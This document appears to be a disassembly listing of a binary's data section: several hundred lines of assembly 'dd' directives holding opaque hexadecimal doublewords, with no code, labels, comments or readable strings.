		dd 0C77B0D3h, 0FCA43997h, 0B1EB5649h, 0CB6A201Dh, 42DA5B45h
		dd 2D6C7080h, 0CB01DAC7h, 9D093106h, 0CB6A28A9h, 6A6A4B4Ch
		dd 71FDA700h, 57CF8BA0h, 44B6B85Ah, 60000B22h, 0E870937Fh
		dd 12F7784Dh, 0E1CFA2ADh, 0E46E3B96h, 3E0E100h,	2E27530Bh
		dd 0EEC8654Ah, 0A19F07AAh, 59E41Dh, 0ED5502A5h,	94C6000h
		dd 156A1499h, 150099Ch,	660FDBDh, 0BB045F5Bh, 682C3E0Eh
		dd 6E5EB9B8h, 85960505h, 9DBC1BCBh, 0B9CE2D25h,	8ABF601Ch
		dd 27A38CBh, 4172943h, 0D6C0B861h, 1D69DA04h, 9D2D3314h
		dd 156297Fh, 362CE3DDh,	0DFE7717Fh, 4B372665h, 0B300F5F2h
		dd 4738AEA3h, 6726F3B1h, 111AF097h, 0B548D9F8h,	500AD0B6h
		dd 689240B7h, 2E13EFAAh, 769A4016h, 0A6D76BADh,	8371A050h
		dd 16A325DBh, 2382F379h, 0D50231BDh, 2A4A6E9Ch,	3AB0D7B7h
		dd 1E03DDD1h, 0B350817Ah, 80E70B49h, 0DB56E1E3h, 27465652h
		dd 0D87B61DBh, 941E5B1h, 9B916B4Eh, 441F0C51h, 0F080A61Fh
		dd 1181F75Ch, 3F7D25A7h, 1D64B5EDh, 0C08A8561h,	0FA05C4ACh
		dd 0B4FB7BBEh, 0C6E5E21Dh, 8D89165Fh, 4A2BF8EDh, 3E225DCAh
		dd 0DD076395h, 2BF02DFFh, 0CB04F26Ah, 0B81A2861h, 0C0114833h
		dd 6C39F45Fh, 7B080744h, 0AB3270DDh, 46F61B56h,	0A55B0018h
		dd 0E9B67BCBh, 0C4629559h, 65831FB7h, 0E056C588h, 97536043h
		dd 11844C1h, 92DF0159h,	9201FC25h, 0FC6EAAC1h, 22A78000h
		dd 1F499531h, 0AE4665B5h, 0A207D482h, 627FBDCh,	2AA80974h
		dd 1BFAD827h, 0AA5D852Fh, 2F4AD55h, 412E8BB1h, 626023C1h
		dd 1F9713EDh, 8014912Ch, 0B3E1BF49h, 8B18149Dh,	0BC0583FAh
		dd 6F07D62Ah, 72CB3CADh, 4DF78B95h, 0BF78C409h,	97049612h
		dd 30562B19h, 5B43C95Ah, 0DF36B200h, 24064432h,	995202C6h
		dd 2E95F5CFh, 0FA56BAA4h, 65C9C803h, 0A08C5E5Bh, 9AA42397h
		dd 799D030Bh, 5AD6542Ah, 9D400D6h, 0FAD41E6Fh, 0E4AFCC59h
		dd 0DD030743h, 61F9A08h, 612D8A2Bh, 922DAE18h, 282ADAF1h
		dd 2EE198DAh, 64A3E3E7h, 4BCCD3E0h, 6A6B4900h, 0C99D8B02h
		dd 8E539630h, 90E10BDFh, 7F16890Fh, 2C434670h, 0FC9C002Eh
		dd 79765CA1h, 29003AE7h, 44755BCh, 138B50E2h, 305290F9h
		dd 0B23EE037h, 42C89B07h, 0D5720D41h, 9E86C6C2h, 0E80BF4D2h
		dd 2282D179h, 756B19B1h, 19A048C6h, 0E9801131h,	0D5519D29h
		dd 7085C6C4h, 7802DDF3h, 3F6C3AD0h, 8962D556h, 0C3A477BDh
		dd 6C64E190h, 0F00C80A7h, 706BD1Dh, 0F5F31FC3h,	7F6F60D1h
		dd 0A5959828h, 0B809909Fh, 54FD298Dh, 1878DAB6h, 61A7175Ah
		dd 0B59D3104h, 7DE01922h, 0FF25002Dh, 77044FBh,	45BD0182h
		dd 0FDFA1D87h, 77873BA6h, 5D09C132h, 94613412h,	4AEA28A9h
		dd 0AA6FCDB3h, 0BAFE2E4Bh
		dd 0B7113251h, 85AC9ED5h, 19B070E0h, 2E2970E6h,	73212B2Ch
		dd 508BDE8Bh, 43543099h, 0DD5C0D64h, 0B21D928Dh, 0E9B24F78h
		dd 97F83B00h, 396F7050h, 2759E500h, 0C249FC84h,	4AD07FC6h
		dd 4289C952h, 0B7220214h, 511EC295h, 3FC200E7h,	429DDCECh
		dd 96298400h, 283A045Fh, 0EEDB7A81h, 0C17F4AE8h, 2BD98B80h
		dd 0CBAC7012h, 0A15D080h, 0A9000BE1h, 0D7CD561Ch, 51B131F4h
		dd 4B3E85B5h, 60605F2Dh, 2B3B8A9Ch, 0CECB02C8h,	551A86BCh
		dd 0E9FB8082h, 2993D45Eh, 21AE1312h, 0C44C44FEh, 8B95F85Fh
		dd 12827C7Eh, 2E7EB334h, 71C2F280h, 4EE5F31h, 1C1896EBh
		dd 15CA59A8h, 39F269EEh, 9E4AE929h, 0A8048C08h,	0DFAB25BCh
		dd 75B0A266h, 0C2C49D4Ah, 0C7D29AAh, 0C7008BB3h, 0C1F71C98h
		dd 9B120B9h, 3EFA4476h,	0DC24A65Bh, 9EB9DF8Ah, 0BC827B20h
		dd 7BC29D54h, 4553FDAAh, 84C6B479h, 6A4B3986h, 0D979B573h
		dd 251F63F0h, 0D566FB53h, 1701E3F6h, 0B95921CCh, 7A2F11BAh
		dd 35250E8Ch, 0F4B88239h, 34466F9h, 0F61BCE30h,	2EF8C74Ch
		dd 640F8069h, 92AEC4A0h, 0E4F5EAB0h, 8EBC00BFh,	85317DF4h
		dd 0ED9F284Dh, 601CC430h, 2E94F932h, 80A9A2C4h,	10C78182h
		dd 5814ED19h, 4FE1D22Bh, 2F4561F5h, 8F4A88A9h, 0C8804AFEh
		dd 0C4605964h, 1E1B9530h, 277DF0C0h, 956102E3h,	88F6D389h
		dd 0CC7EF4h, 47BF1464h,	66782629h, 514EDBECh, 46BEE88h
		dd 7D04F832h, 0D6FBAD0Eh, 0B4206B6Bh, 0F0CDDB4Ah, 0E1108AE4h
		dd 0E4A2992Ah, 1D7FBAE5h, 0F543E304h, 8EEAD2B3h, 0A7DA97B6h
		dd 0A26EB281h, 784FF092h, 0A307C916h, 2D995B05h, 78E338FFh
		dd 0A1DE3FE1h, 6FAA2E82h, 6EF1BD41h, 22B6F812h,	0BB301DA2h
		dd 76600037h, 6F9F78A5h, 4A98473Eh, 54084D25h, 8879E926h
		dd 73DF7D00h, 0A544E7h,	310D321Eh, 0BD3308C8h, 54F1DD69h
		dd 250E289Ch, 0E7652F51h, 7BEF8812h, 26E70152h,	2FCC9421h
		dd 12700B60h, 0E20A7A30h, 46F840Eh, 1CB2CFB3h, 0FEE29B30h
		dd 272070A2h, 92547C62h, 81100859h, 1612C2E7h, 0C1443276h
		dd 8A041411h, 4FF4ACFCh, 0F81FEB6Eh, 99206074h,	10899525h
		dd 0F8C45D4Dh, 0A92126B9h, 2335AFh, 8DC41582h, 0FF312D34h
		dd 21C9A0D7h, 0B224987Eh, 83D80C17h, 147B5300h,	123425DCh
		dd 0AA0AF185h, 1823756Bh, 62B36501h, 0B72FCC7Dh, 1EE1106Ch
		dd 69C42B28h, 0C5540C09h, 1D46D6h, 91B20CCCh, 0CAC4FCh
		dd 567A5440h, 0D24FEF81h, 5F2C3A16h, 0DA9688B2h, 6F6280CFh
		dd 5860E5Bh, 0FFC7808Ch, 0F00AE66Ah, 5F199A0Ah,	0A6F11701h
		dd 0B8EC0035h, 783D39D7h, 0EA710047h, 2D86E19Fh, 0A53FF809h
		dd 0B3BC0068h, 0D4E4BBEEh, 80594A82h, 6B47C687h, 0B0C8115Fh
		dd 0E848020Ah, 93537775h, 91CEB555h, 3D028019h,	48356433h
		dd 0E83AAE62h, 284F9D9Dh, 335F005Fh, 0FCDA4E0Eh, 8B01C547h
		dd 582FF72h, 5BC9D6CEh,	88DDD82Ah, 0A4820F88h, 84278992h
		dd 3E9CD4h, 703CEF56h, 51861D3Bh, 0FDC04704h, 0F7845FA4h
		dd 0DC8C28BAh, 2CF42400h, 1C18B909h, 8DF04B77h,	2ED8D97Ah
		dd 16B87034h, 12547880h, 0E7739C67h, 0C677DB25h, 12E89878h
		dd 0AA5ACCC7h, 1623A06Bh, 0C692E400h, 0B8030689h, 0A7195A25h
		dd 1DBB027Fh, 5C25956Bh, 7D4D2F3Ch, 0A8B3DC1h, 0A086A681h
		dd 33506956h, 84940006h, 7ADC938Bh, 7306FEB7h, 0E11704D6h
		dd 0AD34898Eh, 58F0BD68h, 4AA70098h, 0BBA30B33h, 0E425E8C2h
		dd 0B526C65Ah, 0B606FF40h, 80E3C526h, 3952982Dh, 96D9243h
		dd 1C594DF9h, 8B257C66h, 13F666DAh, 49C19D89h, 0D44490C6h
		dd 0FF59CD00h, 0F4691AA3h, 390F04D3h, 0AB2C5B45h, 0FB8BBC44h
		dd 0F8BB48ABh, 0FAB712BCh, 742B21C2h, 1546DE0Dh, 12561E24h
		dd 0AD5ECC8Eh, 18A03341h, 0FD8A126Dh, 0B846FD61h, 7FC20358h
		dd 0B2252A85h, 89DFC602h, 753235B5h, 35AD2A4Dh,	0BCC00011h
		dd 0AE10C602h, 9529EF12h, 0D4A82B12h, 0BD7F40E2h, 0C0F4870Ch
		dd 0FAE205A0h, 0EB58F7A2h, 0E9294071h, 10AFF3BCh, 2E3F64h
		dd 52FE7A6Dh, 5BF343E1h, 0D21F1D97h, 58D4B374h,	0E0767B48h
		dd 0EC764B34h, 77D10B4h, 0EF055C48h, 5619D9Ch, 0EA22199Ch
		dd 0D300BCF3h, 9EA90D3Ah, 4495893Ch, 830F1287h,	0E970BB14h
		dd 1BA3A0Eh, 7235747Ch,	0C8DB1B79h, 5F4B560Dh, 85828DE2h
		dd 41090475h, 13230182h, 292762CCh, 144E5290h, 14BC1BA9h
		dd 0FCA7258Ch, 0ED9736CEh, 0EC3141C8h, 0BD352BF5h, 0EB00D06Fh
		dd 1E36B3F9h, 4CB79C9Dh, 4B29F299h, 0C83B9B31h,	0B05EC414h
		dd 0A59896D1h, 9EA1FF3Dh, 0B725DC8Ah, 0BF7C004Bh, 6DDF1734h
		dd 29FA611Eh, 39BB6642h, 79D2B297h, 0A53E0069h,	634F75B0h
		dd 0ED02CD00h, 432C4657h, 0D0621D4Ch, 6CCAA544h, 78B77BF7h
		dd 0C8028FC5h, 78FEE006h, 2469468Eh, 0A4969A5h,	0C7DCF07Ch
		dd 44EFB1BFh, 0F5D82A29h, 0E02D880Ch, 1BEE5F02h, 7F3751D6h
		dd 8059ACA9h, 9EB7FF2Dh, 0A08E1E0Fh, 9783CD4Ah,	0B73DB035h
		dd 6D2710E5h, 1E6B422Dh, 2D206F58h, 9D03121Fh, 8235A8A1h
		dd 0C5F504C2h, 0EE009B0h, 39936070h, 754A0178h,	30EE034Dh
		dd 0F9CB8092h, 0C6FED425h, 834D9563h, 0CC7F33C1h, 0FB74252Eh
		dd 0AAE0F5A6h, 8C0125A4h, 0E4D183C7h, 0E73B3DDh, 0A8E50E00h
		dd 51C459F0h, 1F07F501h, 0B7E656D7h, 0B59B02Eh,	80FB5B97h
		dd 0DCA7FA7Fh, 68BF0FCEh, 9705CD9Ah, 319C1A45h,	69607165h
		dd 0DD50F0F3h, 0E8E30006h, 79262F46h, 0F9609D09h, 3FBF9677h
		dd 62F101B9h, 4EBB6050h, 7AC6313Ch, 96254DFCh, 1DC4C54h
		dd 0A12F574Ch, 0D9389E0Dh, 2A4E71EBh, 1DC8DF9Ah, 0ACF2F1C0h
		dd 0EC49009Eh, 939B3B46h, 0BA97FA8Bh, 5008F311h, 0E301D2EAh
		dd 50C8E9D4h, 4D70457Bh, 3C154165h, 0EF5E804Ch,	15F109F4h
		dd 0E3D245C6h, 0B44B570h, 4EA8A94Eh, 12DE46F2h,	0FC1F5CF6h
		dd 491E2110h, 9C502602h, 0C2C76Bh, 423EF097h, 0C34A54A7h
		dd 0B948CD18h, 0C994B117h, 405081FBh, 0A40200FAh, 0BFAA753Dh
		dd 392E6511h, 0F0891E38h, 89707931h, 0FCB9D88Ah, 196B100Bh
		dd 0ECAB0464h, 0EE1D31A8h, 26B8EDC4h, 9DB529C1h, 850D8418h
		dd 2CBD2565h, 0FD9D29E0h, 1DA21847h, 678330h, 2C2AB227h
		dd 0A8BDB7E7h, 0EA1766B0h, 5FA8C6B0h, 1E68FF92h, 0AD8D2C09h
		dd 0ADE6AD1Dh, 54E6BB1Fh, 92E95BC1h, 98C6FFF2h,	1587EDh
		dd 1EEDF377h, 0E176D44Ah, 0B143BF00h, 96F2A397h, 0C18B24B2h
		dd 0C107DE7Dh, 949989FAh, 1668ACE1h, 4280F32Ch,	0CE983908h
		dd 5F9DB317h, 1D3881FBh, 36A63A51h, 0E83018B2h,	0AE8E0C35h
		dd 5202507Dh, 0B6F8BF0Bh, 0BA57596Fh, 0EB4DD45Ah, 0F89B7953h
		dd 0FA4AFC80h, 0F89DB8C4h, 7CD8093Eh, 8A72DA8Bh, 1A217121h
		dd 907F1A66h, 918C9Ah, 703FC36h, 0EA4658Dh, 7C763901h
		dd 4A6CB790h, 0A02E58C4h, 4B3AB68Ah, 422C91D6h,	4132F11h
		dd 0BA00966Fh, 7BBC67F2h, 0B4CD911h, 24162701h,	54450856h
		dd 7730FBEFh, 0CBABB50h, 9016B834h, 419C35DEh, 17B757AFh
		dd 55AD9001h, 0C53A436Eh, 0BFE26Ah, 0F19FFA07h,	6B1E1Ch
		dd 0D2703D81h, 0A7EB4EC1h, 0DE5AFCBFh, 0D7A120Bh, 72A28069h
		dd 0EB9D3165h, 99E7C86Bh, 5BDD264Bh, 123E9F35h,	4942E36Ch
		dd 32854B98h, 13CF09FAh, 5E443479h, 0F84B3052h,	5000FE88h
		dd 8BE7C011h, 0C2B28754h, 26ADE4Eh, 0C0726D5Fh,	9137F2EAh
		dd 9D194F71h, 0F1526090h
		dd 8925B02Eh, 913A0E45h, 1033D1F0h, 9EE8B0BBh, 36511836h
		dd 6CB55BF8h, 0B3E25AF5h, 3AC084DCh, 0B851BD12h, 2A4095BDh
		dd 0B52F9D89h, 47754F20h, 0CD38D115h, 0D99F6079h, 10E7134Ah
		dd 9AFF313Bh, 0BF9001D6h, 4BA0DE46h, 3412DF50h,	26F70F41h
		dd 0E02FA6D3h, 125ADF4Eh, 307398C4h, 10B22571h,	9A837A00h
		dd 0DA116A78h, 2F40F4F5h, 0F4F804ACh, 4FB97h, 9E96D4E7h
		dd 0FE4E8B2Ah, 413801A9h, 28A51D42h, 789773AFh,	0A301F97Bh
		dd 1D9FF66Ch, 0D0380442h, 49E50925h, 0F0D5D11h,	2847118Bh
		dd 0F4AE805Ch, 2F567Eh,	54A55A76h, 0B0D05BC9h, 88C82AE1h
		dd 80D600B8h, 7DF3874Bh, 0C50B4E93h, 565FB2B7h,	0BCD2134Ch
		dd 619CDEC6h, 0BFD45A6Dh, 78573A10h, 0D10C8100h, 594367DFh
		dd 0C3110EA5h, 0F8208510h, 0CC474D31h, 5958908h, 0F45F1223h
		dd 47C2F988h, 94D9D2Bh,	0B72F8872h, 829051A4h, 18F18D29h
		dd 86083257h, 9817B95Dh, 0BEBBA098h, 0B56C5A65h, 5CB041D5h
		dd 66E97FBCh, 0B8692D34h, 0FBD30254h, 0D53ACB3Fh, 0A100136Ch
		dd 0E3C4838Ch, 16E1BA6h, 0B2CFC069h, 0D47F2C02h, 9A61E9FBh
		dd 8C0F562Dh, 0E248252Dh, 5BF4D1C0h, 9F1D10DDh,	59AE65B7h
		dd 554C5002h, 0EC645747h, 58B09200h, 0C88370F4h, 73B4093Ah
		dd 87785F2Ah, 6E251790h, 0D185E21Ch, 0DF8B890Fh, 1945757Ah
		dd 0E996813Eh, 5311984Ch, 4BE58B40h, 0CB5D205Fh, 0D8123C17h
		dd 79F6FB93h, 31A99508h, 0FE5226E4h, 0F0B7DC31h, 1E6F652Fh
		dd 681B1087h, 57147448h, 0D9DD13C2h, 352B71AAh,	0C4F802BCh
		dd 0E8FEBDD1h, 0C6789CD6h, 0B9174829h, 0A3E70F5Bh, 0FFD8F1A3h
		dd 6B12D8A4h, 0C605172Bh, 49880C21h, 0A9295A61h, 0E114A8FDh
		dd 0FC1910C2h, 0C5008B5Ch, 17ADC02Bh, 2E0061B8h, 7AA76BFh
		dd 44E9A1CAh, 0C203CF05h, 2BDB709Ch, 42C67DD2h,	45A55B16h
		dd 0C897DF7Fh, 1B4FC215h, 97DC367Eh, 0D99C37ACh, 342F0841h
		dd 0E20BFFFEh, 0CCC55619h, 4796A12Eh, 75A23A27h, 4A027FB5h
		dd 0E0AF052Dh, 4BCFDB2Bh, 0FF6ED4EBh, 2803437Ah, 0E5914DA3h
		dd 4A7DAC38h, 0C1F484E2h, 3F30E18Eh, 6AA261B7h,	0C4FA70FDh
		dd 0BC2AC97Ch, 577FE27Fh, 0BE678E4Fh, 77EFD710h, 0A43D054Dh
		dd 422FE780h, 350544A1h, 4C64C6D5h, 0F9CB628Dh,	0A504B555h
		dd 0E605BECCh, 0E1FFE38Fh, 0BD4D8Ch, 0EE6784F0h, 0B0889AF3h
		dd 0CC9CDE01h, 0EC6F7DD7h, 0ED97FBC4h, 207E822Eh, 86BC5B04h
		dd 0C204ABA1h, 6A79BFDBh, 5A3D5260h, 8536E329h,	0BDF70497h
		dd 9193CEA0h, 0DE71731Dh, 4D721065h, 1D30406h, 0BFF75E8Bh
		dd 5EFC20D2h, 8215190h,	6F40BDFh, 0CD7F2AFFh, 0F955C04Eh
		dd 35001FF5h, 9915E92Bh, 0F3FD8529h, 1BB2B804h,	84358F0Fh
		dd 0EB5994BCh, 9043EBCh, 0EAA7F8EBh, 997799BDh,	2D598808h
		dd 3410FD2Fh, 65259D29h, 95AF6E13h, 2F1502C1h, 0B2014373h
		dd 83A4F50Dh, 0D337FC51h, 0B15764BAh, 66E2A63h,	13197312h
		dd 8749AF12h, 0DE5CFC6Ah, 89154373h, 0B9718Dh, 9758FC68h
		dd 95FA8B44h, 5B0375C0h, 379D8879h, 884A00B9h, 64152240h
		dd 7B3FE716h, 950203A0h, 42318CB9h, 4DD524B6h, 6214E587h
		dd 0D5E3BCF7h, 473B17A0h, 2038E926h, 32CB8084h,	3047E8B8h
		dd 0EFE07EA3h, 9025C739h, 25787303h, 0D380FA64h, 65B51659h
		dd 0D693A6E4h, 0CECE462Eh, 82CBEB09h, 7517E9F3h, 0CD9D8646h
		dd 4CFC43CAh, 57D75213h, 19B2DFA6h, 0F89030h, 2DE7B292h
		dd 0BECD7DBBh, 90C8344Bh, 0AC7F0FD3h, 0F3A2BA35h, 4E5EB823h
		dd 3879C123h, 662A206Fh, 9000FC5Dh, 81549F37h, 174317C7h
		dd 0F55B08C2h, 4C812A96h, 0F8012C1Dh, 4D9A2B61h, 0F0C079D0h
		dd 8A76DF5Ah, 0AF099B94h, 0F014D5FFh, 5B1B1CD3h, 64BBA88Ch
		dd 51BEF1BCh, 86271A58h, 3050C8FCh, 0A471CBh, 62F16D6Fh
		dd 8CFA4283h, 74E3321Dh, 6226B59Eh, 0A35F4438h,	1B8A0956h
		dd 0D8535841h, 0CA6C70h, 0C709718h, 1E162496h, 0BEFB519Dh
		dd 0BE2A9480h, 75848EABh, 5FE4EB0Fh, 14732142h,	89E18D74h
		dd 2223B62Ah, 55530206h, 7AFCBFF4h, 0DA10AD76h,	8C1CFCh
		dd 0F930DBD2h, 0F626A27Ah, 0CB81E101h, 5224325Ah, 0C8749A6Bh
		dd 7D49C215h, 5D406FDCh, 0F24695h, 0F1C7DA1Bh, 31BC2554h
		dd 50D1692Dh, 5F08406Ah, 3933C2A0h, 78F353B5h, 7A58A206h
		dd 21391634h, 13E53A21h, 1C53C2Fh, 74A5B55Eh, 969DA72Ah
		dd 15A0BAA6h, 0BA7D5261h, 5F577A07h, 170E39E9h,	82F7DBFFh
		dd 0D730E94Ch, 0CB787F1Dh, 38B604C2h, 0BCD7B337h, 2B1AA251h
		dd 1629D758h, 865C06Ch,	0CD31242h, 55855499h, 2111F300h
		dd 0B6A1E0Dh, 577B0A07h, 0B72F19E4h, 0B67453h, 824E26AAh
		dd 1A01D47Eh, 88A9D14h,	6B2FC571h, 1C236Eh, 1DD4A7C2h
		dd 0BC09EDF9h, 596095B9h, 0C7EC0192h, 0D08E2C23h, 641E5665h
		dd 0B916C42Eh, 0E4E4F113h, 0C56DB561h, 0F3601B64h, 0F11D542Dh
		dd 8B97152Bh, 2C81E904h, 5D950901h, 8F742F25h, 0CA0E7AB2h
		dd 0E769C5A4h, 3EF8457h, 0E53EE56h, 8DDB2017h, 33C0F98Fh
		dd 85E6CCBDh, 0FC5CB32Bh, 48F78005h, 0C9789AAAh, 0B583B01Bh
		dd 89F43A6Fh, 6BFAC89Ch, 55C625A8h, 0D3253F98h,	9048E6ADh
		dd 378F2855h, 20492799h, 5BFD8A3Ah, 2BFD0B9Dh, 74C9415Ch
		dd 0B303D426h, 48A8ED6Dh, 1687ED16h, 20AE2D15h,	80DF8B43h
		dd 0EEEBEF25h, 5AD29B07h, 60B799F7h, 2225C16Ch,	99E8E8D6h
		dd 562C292Fh, 22BDAD92h, 6B4BC480h, 4F95D2DCh, 0F00D0053h
		dd 74BB5FCFh, 5415E7Bh,	6A93A12Fh, 0A14A1F8Ah, 9AD82AA3h
		dd 32FD228Dh, 0FA14FCB6h, 2B4F51B5h, 5600D26Eh,	0BCBDE331h
		dd 7D2640E9h, 18602012h, 36B90E0h, 53FC66A3h, 0B803F86h
		dd 640AEE9Eh, 598A4406h, 5CCDB742h, 0DC54E9C2h,	591F01D4h
		dd 8D01E1F9h, 0A33C2E71h, 0F7818832h, 1AAAF109h, 3C60F472h
		dd 0D4CE2DAFh, 3C05D0F4h, 61752532h, 0D9921BEh,	11BB105Fh
		dd 7DE49707h, 5AD47897h, 0AE63A823h, 9C075C0Bh,	46D6375Ch
		dd 0FC761C17h, 72B2CDD6h, 6DC96E00h, 0C82265DBh, 7A004372h
		dd 0A594280Bh, 2A31FB2Eh, 3C8951B5h, 67D2B75Fh,	6DBD290Eh
		dd 442DAB13h, 0EF06A6Ah, 0C19464A4h, 0D88BC06Fh, 90ADA67Ah
		dd 0C09217BEh, 83AC2AAAh, 91B09DAAh, 0B7BDECEh,	6724D5B1h
		dd 0A092F7C6h, 93F9C1Fh, 22B40BC6h, 6D7A0E5Eh, 0DE7B61D8h
		dd 0E0CFC8F5h, 7ACE2102h, 5CF0E9D1h, 0ABBB00F6h, 8B4976C5h
		dd 69CEC150h, 4D55C8AAh, 621564D7h, 0D18FA63Ch,	9BBF4C9h
		dd 387ADDF9h, 0E6BFBF40h, 0D9CB413h, 0D0C367AAh, 0BF3A5551h
		dd 4020E201h, 0DBA8C64Ah, 91B9A430h, 1CC4AD67h,	0CAE3C801h
		dd 0EFD8E835h, 4ABDBC85h, 4920E0D6h, 70A63AE9h,	16A76400h
		dd 964828CFh, 5B506813h, 118F53FFh, 0A55A8237h,	0B8CE6D62h
		dd 0C0960150h, 65EC1672h, 1D6A662Dh, 0CD2BD0Bh,	0B0D6A7ABh
		dd 1C6EF82Ch, 16133A8h,	113B7DDh, 0BEA2A95h, 0EDDF6ADFh
		dd 63F4C9B6h, 0D590B78Bh, 0CCA78635h, 3FA00024h, 14460FBAh
		dd 85A196F9h, 160110Ah,	82171830h, 5395E0F8h, 12D3A5C2h
		dd 7FFA50h, 0B17CCD8Dh,	826CCF1Ah, 4FFFF980h, 0ED948DD1h
		dd 47983F8Fh, 0A9BB4E99h, 549AE4BEh, 2074C9C0h,	0D55E6BE2h
		dd 5E6AA2B0h, 80C69B02h, 975EE11h, 5B124BDh, 29F6E96Ch
		dd 75F9D540h, 0BC97484Eh, 0EDC0E404h, 0EBBC5266h, 0F5CE2E27h
		dd 0C9433A96h, 5711F8A6h
		dd 0AB5001Ah, 0E9CEAE81h, 2B647E32h, 5F0B197Ah,	0B58968B0h
		dd 9525DFFDh, 1207E7D4h, 0B9CD12C7h, 1CB7BC42h,	4258C49Ah
		dd 23919D31h, 90E4E25Ch, 0B1FD2F2h, 82189EE0h, 8A0FE933h
		dd 2EC55Fh, 0DFBB4B74h,	0FC121321h, 0F2AAB84Eh,	505F009Fh
		dd 1C69DBBFh, 29E09560h, 0AF8522E1h, 0EA17F004h, 0ACF0B48Ah
		dd 1997BC78h, 69F256EFh, 5F031168h, 60FF6A89h, 0F58836Eh
		dd 0FAE17EB4h, 0B67518D7h, 0D69200D4h, 65CF097Ah, 980C01EEh
		dd 0CE605F46h, 0FD254F45h, 0CC568003h, 0D66171h, 66C13A4Fh
		dd 0FDBF7BF2h, 78609901h, 615EE010h, 25DEA77Ah,	0FA6190FCh
		dd 6088E1B0h, 0E6091D41h, 12A50470h, 0CC4D70AEh, 43890F3h
		dd 0ECC107D5h, 22601E7Eh, 2571E4D8h, 0C5C9DE8Ah, 9D0B10CBh
		dd 162A4321h, 0C1AC53B3h, 0B825BBC4h, 759940B7h, 0D6A8185Eh
		dd 0F35B2D3h, 0C0C6C5F8h, 353DE431h, 213E0041h,	0BA706DBCh
		dd 7C7AD2A0h, 580D52B5h, 59306951h, 0C82B5FD3h,	0CA82F94Bh
		dd 10D7297Dh, 0FCFF8Fh,	0A95BF03Ah, 0DB51B2CCh,	0C40E0901h
		dd 2E818A0Ch, 7DC7C142h, 2E618D19h, 4E49C007h, 0AFB84404h
		dd 4A1CA34Bh, 0F2829BA8h, 1E03EEDh, 164AF1BDh, 0A212AF3h
		dd 2FE9F904h, 259EBCB8h, 4792A6C6h, 1AA39195h, 5CF2E24Dh
		dd 8251C49Eh, 4E8295CFh, 0B857B70Fh, 81CB900Bh,	61A7FDBBh
		dd 744B3B2Ch, 56544289h, 4903559Eh, 0DCD99D89h,	400152B4h
		dd 4D2DB927h, 4123D0Fh,	0C5EFBCDBh, 0AA28EE14h,	7AE500D0h
		dd 0AB380206h, 0A4063070h, 18E9E2Bh, 21552590h,	0EDBDB6CCh
		dd 0A978493Fh, 0CBC67F48h, 2C1075C8h, 0BC0099E1h, 0F02986A5h
		dd 5AC62D0h, 0B53153AEh, 5B874071h, 0BCF5F381h,	0FC2AC716h
		dd 1FC86FBFh, 1D9F4B0Ah, 10DF8054h, 91D22F1h, 4A20109Dh
		dd 16FCA7F0h, 9BC02B1Ch, 79B580F3h, 2DE20B64h, 6B70F8B4h
		dd 0D16D5B95h, 0BDF4C895h, 0D964D717h, 4E30558Dh, 7D2FF34Dh
		dd 906A2E24h, 25901D28h, 0BD563229h, 0D4EC5652h, 0B52FAB00h
		dd 6D95290Dh, 0E78D9E08h, 0F85C209h, 8C06E55h, 205B529h
		dd 5B02B074h, 8F352B1h,	0F5121A91h, 0B80EDA8h, 0F8D4A4FBh
		dd 0C03F4600h, 92B06C45h, 0D736123Ah, 88CFE2B7h, 17467E74h
		dd 0A0321371h, 9DF0442h, 0DF1ABE21h, 0EA4D75E1h, 0EC601944h
		dd 9412F54Ch, 0C605830h, 4A618D29h, 4F55F728h, 612DA3C2h
		dd 0ED39E180h, 98A9D380h, 14977F96h, 169C5BC4h,	0BCA0ADBAh
		dd 204704F1h, 0B8DB537Fh, 2888A2C4h, 27550BD9h,	3F71495Ch
		dd 0F5A00414h, 0B7600B15h, 3EF480B8h, 0F0E787Eh, 95308C4Ah
		dd 973B2CDBh, 0DEFE980Ah, 0ABBBB700h, 8BB57315h, 0E1802DFBh
		dd 180EF37h, 546BA3DEh,	0FAD96227h, 19D72CC5h, 0A73A937Bh
		dd 512AB0E2h, 60560523h, 0D5A5B533h, 0B385BF3Eh, 7F61A34Bh
		dd 0B0ADE435h, 166DF6Dh, 0DCF81A30h, 20317E29h,	2F4A3DD4h
		dd 0F6D23EF2h, 96F4A041h, 0F5E1B77Ch, 3CE86151h, 0B7600447h
		dd 0AE1F61D3h, 9B9093E0h, 0D2CE86FCh, 4A14953Ah, 50D958C7h
		dd 212F393Dh, 3B598383h, 1A43ECCh, 5CFA729Ch, 0E4F9DB61h
		dd 0D07E08Bh, 5B8AB353h, 44281C1Fh, 5D761295h, 0C283C337h
		dd 0E81F9ECAh, 258A4109h, 9E7085A4h, 4A3CF525h,	2A6F7FE9h
		dd 69E27F47h, 0D880896Eh, 169ABE69h, 446AFF89h,	72D0604Fh
		dd 880E3C67h, 1701D3E9h, 1FE6FAEh, 9D0355E3h, 0E72A3465h
		dd 38C84F47h, 9CD00C8h,	4DD2758h, 8B0090C0h, 4CD3E35Fh
		dd 97F22F12h, 7B74B98h,	0E19D197h, 49E40C62h, 0C1B4E0C6h
		dd 11ADF55Ah, 747CBF80h, 0BA97215Fh, 0D41BD65Ch, 23CD9B4Fh
		dd 0FEDAF02Fh, 7B49D191h, 794E5084h, 22C5F94Bh,	276EEEh
		dd 0BFD7D903h, 2D256636h, 7D10965Ah, 26589C98h,	0FC0071DCh
		dd 0AA54B0DEh, 9B9650CDh, 72C47829h, 0B66D5201h, 0AA0DF537h
		dd 32D6093Eh, 18001DECh, 66D839C8h, 2621D6ABh, 89F37364h
		dd 5B7AA73Ah, 0D18B5B97h, 8E8F44Ch, 0F73F88h, 2ECCE5EAh
		dd 26BF5BFCh, 566CF624h, 3C42680Fh, 6B05C93h, 5D583BBDh
		dd 0AC830F93h, 0C723C384h, 2D21F929h, 8D5EE22Ah, 90C02B89h
		dd 25BF7B66h, 29E45084h, 0B2D34900h, 19A4EEDEh,	0E6C8016Fh
		dd 1D73FD89h, 96B26BCEh, 0A878902Dh, 4D97A39Ah,	60166449h
		dd 0E2F90F93h, 0D98A2561h, 8D70215Ch, 3C1641F1h, 24C1D755h
		dd 0C10717E5h, 2B6142C0h, 48625EDAh, 0E9031931h, 7ABB8550h
		dd 5FD500FAh, 197A46CDh, 0A36E0575h, 0F8850F7Bh, 24D88124h
		dd 0EE247A72h, 0F3DA4A8Fh, 0F65EBA5Eh, 2318B001h, 0F4125BDh
		dd 310DA122h, 510AE00Bh, 0D9B78830h, 7BC8614Fh,	0AB53078Fh
		dd 0D3A6418Dh, 21AA0E5Ch, 0AA175AD1h, 0D94827AAh, 0DB594F5Eh
